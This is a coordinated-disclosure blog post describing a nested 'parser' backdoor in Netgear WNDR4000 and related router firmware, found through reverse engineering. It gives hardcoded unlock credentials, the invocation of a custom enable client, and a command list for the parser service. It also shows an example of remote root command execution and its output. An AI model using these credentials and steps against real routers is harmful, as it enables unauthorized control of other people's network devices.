Nested backdoors
Oct 31, 2017
11 minute read

tl;dr

Discovery of a second backdoor besides the usual telnet backdoor on the Netgear WNDR4000 and other netgear routers

Summary of disclosure timeline

The Netgear product security team has been very responsive and handled this issue in a professional way. Special thanks to Kyle Bambrick.

  • This blog entry was written on Oct 31, 2017 but published on May 9, 2018. I contacted Netgear via email on Nov 13, 2017.

  • Nov 28, 2017: I get a confirmation of the issue, and the fact that it was already known for other routers, as well as a list of affected models. I also learn this had already been assigned PSV-2017-2756.

  • Dec 7, 2017: I’m told a good news: the WNDR4000 will receive an upgrade, even if it has reached its end of life.

  • Feb 21, 2018: Netgear tells me all affected routers have firmware fixes available.

  • Mar 2, 2018: PSV-2017-2756 is updated to acknowledge my work.

  • Mar 16, 2018: I receive some very nice gifts from Netgear.

Telnet door

After playing “PlugCTF”, I wanted to go on with IoT exploitation, and decided to try and hack an “old” router, namely the Netgear WNDR4000. The first firmware that can be downloaded on this page dates back to 2011, hence the “old” qualifier.

Installing the latest firmware (1.0.2.6 at the time of writing) is easy via the web interface. In the output of nmap scans, the following line got my attention

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet?

Trying to get a shell on the router via telnet fails, which is consistent with the “?” in the above output. Googling “netgear wndr4000 telnet” gives a promising first link entitled Unlocking the Netgear Telnet Console. There are a few telnetenable scripts available, but the one that turned out to work for me was this one, modified to connect via TCP (socket.SOCK_STREAM) instead of UDP (socket.SOCK_DGRAM). The WNDR4000 being “old”, the credentials to unlock telnet are the well known Gearguy:Geardog and not the credentials for the web interface as on new routers. And here we are, root on the router

BusyBox v1.7.2 (2017-06-30 11:44:50 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

Even if this is well known, it’s still bad! Anybody on the LAN can be root on this router. At first sight, it is not as bad with newer routers (provided the administrator changed default admin:password web interface credentials), but it is far from being perfect, if the credentials for the web interface are sent in clear (HTTP Basic Authentication) as on old routers (I do not have a way to test it). Thinking a bit further, on old routers the telnet credentials can be changed and set to something different from the web admin credentials (see the paragraph “Using the Netgear Router Console” in here), by using a few nvram commands.

Parser door

Dissecting telnetenabled

main()

Let’s now try to understand how the telnet service is unlocked. Downloading the latest firmware installed on the router (1.0.2.6 at the time of writing) and extracting it with binwalk is easy, and gives access to a squashfs-root directory. The command

~/squashfs-root$ find . -name telnet*
./usr/sbin/telnetd
./usr/sbin/telnetenabled

reveals the existence of the binary telnetenabled. Time to reverse! The main() function first checks a global variable (@ 0x446990) to see if the telnet daemon was spawned already. If it was, it puts("telnetInit0: already initialized."), otherwise it turns itself into a daemon thanks to daemon(1, 1). It then checks from the nvram if the telnetd_enable is set to 1, via acosNvramConfig_match("telnetd_enable", "1"). If yes, system("telnetd") is called, after creating 4 filesystem nodes (named “/dev/ptyp0”, “/dev/ttyp0”, “/dev/ptyp1”, “/dev/ttyp1”) with mknod() calls. From what is seen with nvram show, it seems there is no telnetd_enable variable, so the telnet daemon is not launched. Then, something weird is done. Another check of the nvram is performed acosNvramConfig_match("parser_enable", "1") and if “parser_enable” is set to “1” (which it is not, because again, there is nothing like this in a nvram show dump), system("parser") is executed. More will be said in what follows, about the parser binary (found in /sbin). Finally, the abTelnetd0() function is called. The return value is stored in the aforementioned global variable (@ 0x446990) and depending on the outcome, either the program puts("telnetenabled main(): unable to spawn.") and reaches the end of main() or it only does the latter.

abTelnetd0()

This function sets up a listener, on port 23 as expected and confirmed by:

.text:00400D6C                 li      $a0, 0x17        # hostshort
.text:00400D70                 la      $t9, htons
.text:00400D74                 nop
.text:00400D78                 jalr    $t9 ; htons

Once this is done, and after a client connection, it will receive 0x640 bytes of data, and call decodeData(). The connection is then shut down, and depending on the return value, either telnetd is launched via a call to system() (and the creation of the 4 filesystem nodes as described previously) or parser is launched. The return value of abTelnetd0() is 1, whether telnetd or parser was launched.

decodeData()

This is the function responsible for analysing the data sent to the telnetenable daemon. The format of the data has been discussed already here and there, and this knowledge came from reversing the original Netgear windows client called telnetEnable.exe. From reversing directly decodeData(), I can confirm most of what was known. But there is no sign of a reserved field, and the password length seems to be limited only because the Blowfish cipher accepts keys of maximum size 448 bits (56 bytes), and must thus not be longer than 36 characters, the full key being “AMBIT_TELNET_ENABLE+” (20 bytes), appended with the password. From this knowledge, and because new and old routers do not communicate with the same protocol (UDP and TCP), I rewrote a python client Gearenable.py available here. I shall not enter details of decodeData() but mention what I think is most important. This function checks not only the credentials set in the nvram variables:

  • on old routers: “super_username” and “super_passwd”, so Gearguy:Geardog
  • on new routers: “http_username” and “http_passwd”, so web admin credentials (as checked on the Netgear R7000 router firmware)

but also the credentials found in nvram in the variables “parser_username” and “parser_passwd”! decodeData() returns -1 if the credentials are invalid, 1 for the credentials allowing to launch telnetd, and 2 for the parser credentials. These credentials can be found easily with the telnet access previously obtained:

# nvram get parser_username        
Gearpar
# nvram get parser_passwd  
Gearucp

Vivisecting parser

main()

To study what the parser binary does, I used a combination of static and dynamic analysis (by uploading a statically compiled gdbserver on the router’s /tmp directory). This binary sets up a listener on port 11000=0x2af8, as seen there

.text:00403ED8                 li      $v1, 0xFFFFF82A
.text:00403EDC                 sh      $v0, 0xF8+var_D4($sp)
.text:00403EE0                 sh      $v1, 0xF8+var_D2($sp)

or simply by launching parser on the router and seeing the line

tcp        0      0 0.0.0.0:11000           0.0.0.0:*               LISTEN

in the output of netstat -l.

If a client connects to this service, parser will receive 0x400 bytes of data in a global buffer @ 0x445200 (after some forks, etc that I do not detail), then copy the first 0x44 bytes to another global buffer 0x400 bytes further, i.e. @ 0x445600, zero out the 0x400 bytes of received data, and call set_recv_option(). It then sends 0x400 bytes of data back to the client, from the already mentioned buffer that was filled by set_recv_option(). Depending on the value stored in the four bytes @ 0x445600 (somehow, a number of send and receive value), either some more data is received and sent again, or the socket is closed and parser exits (but the listener will still be alive, thanks to the forking). The set_recv_option() function is called with two arguments, the first one being the value stored in the four bytes @ 0x445604, the second one being the address 0x445608.

set_recv_option()

The disassembly is pretty short so let me paste part of it here:

.text:00403634                 .globl set_recv_option
.text:00403634 set_recv_option:                         # CODE XREF: main+288p
.text:00403634                                          # DATA XREF: main+280o ...
.text:00403634
.text:00403634 var_10          = -0x10
.text:00403634 var_8           = -8
.text:00403634 var_4           = -4
.text:00403634
.text:00403634                 li      $gp, 0x49A3C
.text:0040363C                 addu    $gp, $t9
.text:00403640                 addiu   $sp, -0x20
.text:00403644                 sw      $ra, 0x20+var_4($sp)
.text:00403648                 sw      $s1, 0x20+var_8($sp)
.text:0040364C                 sw      $gp, 0x20+var_10($sp)
.text:00403650                 addiu   $a0, -4
.text:00403654                 sltiu   $v0, $a0, 0x19
.text:00403658                 bnez    $v0, loc_4036BC
.text:0040365C                 sll     $v0, $a0, 2
<snip>
The code that goes here does a `memcpy` of the string
"error: Unsupported code \n" into the global buffer @ 0x445200
<snip>
.text:004036BC
.text:004036BC loc_4036BC:                              # CODE XREF: set_recv_option+24j
.text:004036BC                 li      $v1, 0x400000
.text:004036C0                 nop
.text:004036C4                 addiu   $v1, (unk_404FC8 - 0x400000)
.text:004036C8                 addu    $v0, $v1
.text:004036CC                 lw      $a0, 0($v0)
.text:004036D0                 nop
.text:004036D4                 addu    $a0, $gp
.text:004036D8                 jr      $a0
.text:004036DC                 nop
.text:004036DC  # End of function set_recv_option

The most important part of it is the final jr $a0, which suggests the existence of a jump table, depending on some “code” value that was received as the first argument (in $a0).

Studying this jump table reveals that codes 4 to 28 are allowed. Some of the functions called via this table do not need an argument, in which case the value stored @ 0x445608 must be 0. Other functions take one argument, in which case the buffer @ 0x445608 (of size 0x44 - 8 = 0x3c = 60) should contain the argument (as a string). I wrote a dirty python script to interact with parser. It can be found here. Executing it with no argument provides the list of functions that can be called:

./parser_exec.py
Usage: ./parser_exec.py command <optional argument (max 60 chars)>
Available functions:
 - system_nvram_config (1 argument: use at your own risk)
 - system_run_process (1 argument: process name)
 - system_kill_process (1 argument: arg = 1 process name, or 2 process names separated by *)
 - burn_sku (1 argument: use at your own risk)
 - reboot (no argument)
 - set_nvram_loaddefault (no argument, use at your own risk)
 - burn_serial_number (1 argument: use at your own risk)
 - burn_board_id (1 argument: use at your own risk)
 - create_upgrade_file (no argument, use at your own risk)
 - burn_ether_mac (1 argument: use at your own risk)
 - burn_wcn_pin (1 argument: use at your own risk)
 - print_version (no argument)
 - abPotTime (no argument)
 - abPotErase (no argument)
 - abPotStop (no argument)
 - check_usb_disk (no argument)
 - bftpd (no argument)
 - led_up (no argument)
 - led_down (no argument)
 - set_gpio (1 argument: arg = 1 value, or 2 values separated by *)
 - set_wan_led (1 argument: arg = start, stop or 1)
 - check_wps_button (no argument)
 - check_wifi_button (no argument)
 - check_reset_button (no argument)
 - wlan_down (no argument)

We see that many things can be done, including turning the leds “off” with led_down (as if the router was offline) and turning them back “on” with led_up. This is really worrisome, even if this backdoor was most probably put there for debugging purposes. Let’s test a couple of functions after enabling parser with (HOST and MAC being the IP and MAC addresses of the router)

./Gearenable.py -i HOST -m MAC -u Gearpar -p Gearucp

(the above will not work if telnetd is running on the router).

For example:

./parser_exec.py print_version
Release version : Netgear Wireless Router WNDR4000
U12H18100/V1.0.2.6/9.1.87
Time : Jun 30 2017 11:32:11
    CFE version : v1.0.4

or

./parser_exec.py system_run_process "ls -la / >&7"
drwxrwxr-x   13 0        root          138 Jun 30 05:45 .
drwxrwxr-x   13 0        root          138 Jun 30 05:45 ..
drwxrwxr-x    2 0        root          291 Jun 30 05:45 bin
drwxrwxrwt    3 0        root        20180 Jan  1  2003 dev
drwxr-xr-x    5 0        root          201 Jun 30 05:45 etc
drwxr-xr-x    4 0        root          477 Jun 30 05:45 lib
lrwxrwxrwx    1 0        root            9 Jun 30 05:45 media -> tmp/media
drwxrwxr-x    2 0        root            3 Jun 30 05:45 mnt
dr-xr-xr-x   50 0        root            0 Jan  1  2000 proc
drwxr-xr-x    2 0        root          722 Jun 30 05:45 sbin
drwxr-xr-x   10 0        root            0 Jan  1  2000 sys
drwxr-xr-x   10 0        root            0 Oct 31 12:50 tmp
drwxr-xr-x    7 0        root           94 Jun 30 05:45 usr
lrwxrwxrwx    1 0        root            7 Jun 30 05:45 var -> tmp/var
drwxr-xr-x    6 0        root         9394 Jun 30 05:45 www
start ls -la >&7 OK

Conclusion

This parser binary looks like a backdoor within a backdoor, something one could call a two-level Matryoshka backdoor. Interestingly, the Netgear R7000 router had the same backdoor until firmware version 1.0.9.10 (at the time of writing, the penultimate version), but it is no longer here in version 1.0.9.12 (latest version at the time of writing). The telnetenabled binary is exactly the same, but the parser binary has been removed from /sbin. The same holds for the Netgear WNDR3400 router for which the parser binary disappeared when going from version 1.0.1.12 to 1.0.1.14.

This has not been done for the WNDR4000 that had not received any upgrade since 2013 (version 1.0.2.4):

./parser_exec.py print_version
Release version : Netgear Wireless Router WNDR4000
U12H18100/V1.0.2.4/9.1.86
Time : Dec 18 2013 14:03:06
    CFE version : v1.0.6

until recently (see time stamp in the first print_version output). The WNDR4000 has in fact reached is end of life cycle, and only gets rare upgrades.

In order to patch the backdoor, I strongly recommend to upgrade the firmware of routers, since fixes are now available (at the time of publishing this blog post), even for the WNDR4000.

I did not check other routers than the 3 mentioned in this post, and I do not know if the Gearpar:Gearucp credentials work on other routers than the WNDR4000.